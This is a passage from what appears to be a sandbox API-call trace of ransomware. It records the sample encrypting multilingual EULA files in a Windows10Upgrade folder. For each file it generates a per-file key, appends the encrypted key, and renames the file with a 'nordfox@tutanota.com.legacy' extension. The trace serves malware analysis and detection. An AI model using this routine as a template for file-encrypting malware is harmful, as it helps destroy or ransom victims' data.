lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0121.443] CloseHandle (hObject=0x6d0) returned 1 [0121.443] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4a58 | out: hHeap=0x520000) returned 1 [0121.443] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33d8 | out: hHeap=0x520000) returned 1 [0121.444] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ru-ru.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_ru-ru.htm"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ru-ru.htm.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_ru-ru.htm.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0121.449] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e88b8 | out: hHeap=0x520000) returned 1 [0121.449] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c578 | out: hHeap=0x520000) returned 1 [0121.450] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c488 | out: hHeap=0x520000) returned 1 [0121.450] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x60c140 [0121.450] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4530 [0121.450] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34c8 [0121.450] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4530 | out: pbBuffer=0x5c4530) returned 1 [0121.450] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0121.450] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ro-ro.htm", dwFileAttributes=0x80) returned 1 [0121.451] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x60c938 [0121.451] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9150 [0121.451] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c938 | out: hHeap=0x520000) returned 1 [0121.451] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ro-ro.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_ro-ro.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d0 [0121.451] GetFileSizeEx (in: hFile=0x6d0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=78176) returned 1 [0121.451] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x13160) returned 0x2e41f30 [0121.452] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x13160) returned 0x2e55098 [0121.453] ReadFile (in: hFile=0x6d0, lpBuffer=0x2e41f30, nNumberOfBytesToRead=0x13160, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e41f30*, lpNumberOfBytesRead=0x2e1f9bc*=0x13160, lpOverlapped=0x0) returned 1 [0121.485] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=-78176, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.485] WriteFile (in: hFile=0x6d0, lpBuffer=0x2e55098*, nNumberOfBytesToWrite=0x13160, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e55098*, lpNumberOfBytesWritten=0x2e1f9bc*=0x13160, lpOverlapped=0x0) returned 1 [0121.485] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41f30 | out: hHeap=0x520000) returned 1 [0121.485] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e55098 | out: hHeap=0x520000) returned 1 [0121.486] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x13160 [0121.486] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0121.486] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4530*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4530*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0121.487] WriteFile (in: hFile=0x6d0, lpBuffer=0x5c4530*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4530*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0121.488] WriteFile (in: hFile=0x6d0, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0121.488] CloseHandle (hObject=0x6d0) returned 1 [0121.488] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4530 | out: hHeap=0x520000) returned 1 [0121.488] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34c8 | out: hHeap=0x520000) returned 1 [0121.488] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ro-ro.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_ro-ro.htm"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ro-ro.htm.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_ro-ro.htm.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0121.490] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9150 | out: hHeap=0x520000) returned 1 [0121.490] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c140 | out: hHeap=0x520000) returned 1 [0121.490] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60bee8 | out: hHeap=0x520000) returned 1 [0121.490] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x60bee8 [0121.490] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0121.490] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3548 [0121.490] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0121.491] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3548 | out: pbBuffer=0x5c3548) returned 1 [0121.491] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pt-pt.htm", dwFileAttributes=0x80) returned 1 [0121.493] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x60c5f0 [0121.493] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e88b8 [0121.493] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c5f0 | out: hHeap=0x520000) returned 1 [0121.494] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pt-pt.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_pt-pt.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d0 [0121.494] GetFileSizeEx (in: hFile=0x6d0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=71054) returned 1 [0121.494] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1158e) returned 0x60cbf0 [0121.494] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1158e) returned 0x2e41f30 [0121.495] ReadFile (in: hFile=0x6d0, lpBuffer=0x60cbf0, nNumberOfBytesToRead=0x1158e, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60cbf0*, lpNumberOfBytesRead=0x2e1f9bc*=0x1158e, lpOverlapped=0x0) returned 1 [0121.499] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=-71054, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.499] WriteFile (in: hFile=0x6d0, lpBuffer=0x2e41f30*, nNumberOfBytesToWrite=0x1158e, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e41f30*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1158e, lpOverlapped=0x0) returned 1 [0121.499] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60cbf0 | out: hHeap=0x520000) returned 1 [0121.499] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41f30 | out: hHeap=0x520000) returned 1 [0121.499] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1158e [0121.499] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0121.499] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0121.500] WriteFile (in: hFile=0x6d0, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0121.500] WriteFile (in: hFile=0x6d0, lpBuffer=0x5c3548*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3548*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0121.500] CloseHandle (hObject=0x6d0) returned 1 [0121.500] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0121.500] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3548 | out: hHeap=0x520000) returned 1 [0121.500] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pt-pt.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_pt-pt.htm"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pt-pt.htm.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_pt-pt.htm.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0121.505] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e88b8 | out: hHeap=0x520000) returned 1 [0121.505] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60bee8 | out: hHeap=0x520000) returned 1 [0121.505] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c500 | out: hHeap=0x520000) returned 1 [0121.505] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x60c488 [0121.505] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c3be8 [0121.505] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0121.505] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3be8 | out: pbBuffer=0x5c3be8) returned 1 [0121.505] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0121.505] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pt-br.htm", dwFileAttributes=0x80) returned 1 [0121.506] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x60c500 [0121.506] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8a48 [0121.506] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c500 | out: hHeap=0x520000) returned 1 [0121.506] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pt-br.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_pt-br.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d0 [0121.506] GetFileSizeEx (in: hFile=0x6d0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=68292) returned 1 [0121.506] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10ac4) returned 0x60cbf0 [0121.506] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10ac4) returned 0x2e41f30 [0121.506] ReadFile (in: hFile=0x6d0, lpBuffer=0x60cbf0, nNumberOfBytesToRead=0x10ac4, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60cbf0*, lpNumberOfBytesRead=0x2e1f9bc*=0x10ac4, lpOverlapped=0x0) returned 1 [0121.549] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=-68292, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.549] WriteFile (in: hFile=0x6d0, lpBuffer=0x2e41f30*, nNumberOfBytesToWrite=0x10ac4, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e41f30*, lpNumberOfBytesWritten=0x2e1f9bc*=0x10ac4, lpOverlapped=0x0) returned 1 [0121.550] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60cbf0 | out: hHeap=0x520000) returned 1 [0121.550] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41f30 | out: hHeap=0x520000) returned 1 [0121.550] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x10ac4 [0121.550] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0121.550] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3be8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3be8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0121.550] WriteFile (in: hFile=0x6d0, lpBuffer=0x5c3be8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3be8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0121.550] WriteFile (in: hFile=0x6d0, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0121.550] CloseHandle (hObject=0x6d0) returned 1 [0121.551] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3be8 | out: hHeap=0x520000) returned 1 [0121.551] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0121.551] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pt-br.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_pt-br.htm"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pt-br.htm.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_pt-br.htm.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0122.077] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8a48 | out: hHeap=0x520000) returned 1 [0122.077] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c488 | out: hHeap=0x520000) returned 1 [0122.077] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c230 | out: hHeap=0x520000) returned 1 [0122.077] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x60c0c8 [0122.077] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c3cf0 [0122.078] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3538 [0122.078] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3cf0 | out: pbBuffer=0x5c3cf0) returned 1 [0122.078] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0122.078] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pl-pl.htm", dwFileAttributes=0x80) returned 1 [0122.081] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x60c050 [0122.081] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e88b8 [0122.081] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c050 | out: hHeap=0x520000) returned 1 [0122.081] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pl-pl.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_pl-pl.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d0 [0122.082] GetFileSizeEx (in: hFile=0x6d0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=81812) returned 1 [0122.082] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x13f94) returned 0x2e41f30 [0122.085] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x13f94) returned 0x2e55ed0 [0122.085] ReadFile (in: hFile=0x6d0, lpBuffer=0x2e41f30, nNumberOfBytesToRead=0x13f94, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e41f30*, lpNumberOfBytesRead=0x2e1f9bc*=0x13f94, lpOverlapped=0x0) returned 1 [0122.280] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=-81812, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0122.280] WriteFile (in: hFile=0x6d0, lpBuffer=0x2e55ed0*, nNumberOfBytesToWrite=0x13f94, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e55ed0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x13f94, lpOverlapped=0x0) returned 1 [0122.281] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41f30 | out: hHeap=0x520000) returned 1 [0122.281] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e55ed0 | out: hHeap=0x520000) returned 1 [0122.283] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x13f94 [0122.283] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0122.283] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3cf0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3cf0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0122.284] WriteFile (in: hFile=0x6d0, lpBuffer=0x5c3cf0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3cf0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0122.284] WriteFile (in: hFile=0x6d0, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0122.284] CloseHandle (hObject=0x6d0) returned 1 [0122.284] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3cf0 | out: hHeap=0x520000) returned 1 [0122.284] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3538 | out: hHeap=0x520000) returned 1 [0122.285] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pl-pl.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_pl-pl.htm"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pl-pl.htm.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_pl-pl.htm.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0122.287] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e88b8 | out: hHeap=0x520000) returned 1 [0122.287] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c0c8 | out: hHeap=0x520000) returned 1 [0122.287] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c6e0 | out: hHeap=0x520000) returned 1 [0122.287] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x60c050 [0122.287] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0122.287] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3478 [0122.287] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0122.287] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0122.287] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nl-nl.htm", dwFileAttributes=0x80) returned 1 [0122.288] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x60c488 [0122.288] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8a48 [0122.288] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c488 | out: hHeap=0x520000) returned 1 [0122.288] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nl-nl.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_nl-nl.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d0 [0122.288] GetFileSizeEx (in: hFile=0x6d0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=67224) returned 1 [0122.288] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10698) returned 0x60cbf0 [0122.288] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10698) returned 0x2e41f30 [0122.290] ReadFile (in: hFile=0x6d0, lpBuffer=0x60cbf0, nNumberOfBytesToRead=0x10698, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60cbf0*, lpNumberOfBytesRead=0x2e1f9bc*=0x10698, lpOverlapped=0x0) returned 1 [0122.366] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=-67224, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0122.366] WriteFile (in: hFile=0x6d0, lpBuffer=0x2e41f30*, nNumberOfBytesToWrite=0x10698, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e41f30*, lpNumberOfBytesWritten=0x2e1f9bc*=0x10698, lpOverlapped=0x0) returned 1 [0122.367] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60cbf0 | out: hHeap=0x520000) returned 1 [0122.367] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41f30 | out: hHeap=0x520000) returned 1 [0122.367] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x10698 [0122.367] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0122.367] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0122.368] WriteFile (in: hFile=0x6d0, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0122.368] WriteFile (in: hFile=0x6d0, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0122.368] CloseHandle (hObject=0x6d0) returned 1 [0122.368] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0122.368] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3478 | out: hHeap=0x520000) returned 1 [0122.368] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nl-nl.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_nl-nl.htm"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nl-nl.htm.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_nl-nl.htm.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0122.372] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8a48 | out: hHeap=0x520000) returned 1 [0122.372] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c050 | out: hHeap=0x520000) returned 1 [0122.372] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c1b8 | out: hHeap=0x520000) returned 1 [0122.372] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x60c488 [0122.372] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c55b0 [0122.373] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33f8 [0122.373] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c55b0 | out: pbBuffer=0x5c55b0) returned 1 [0122.373] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33f8 | out: pbBuffer=0x5c33f8) returned 1 [0122.373] SetFileAttributesW 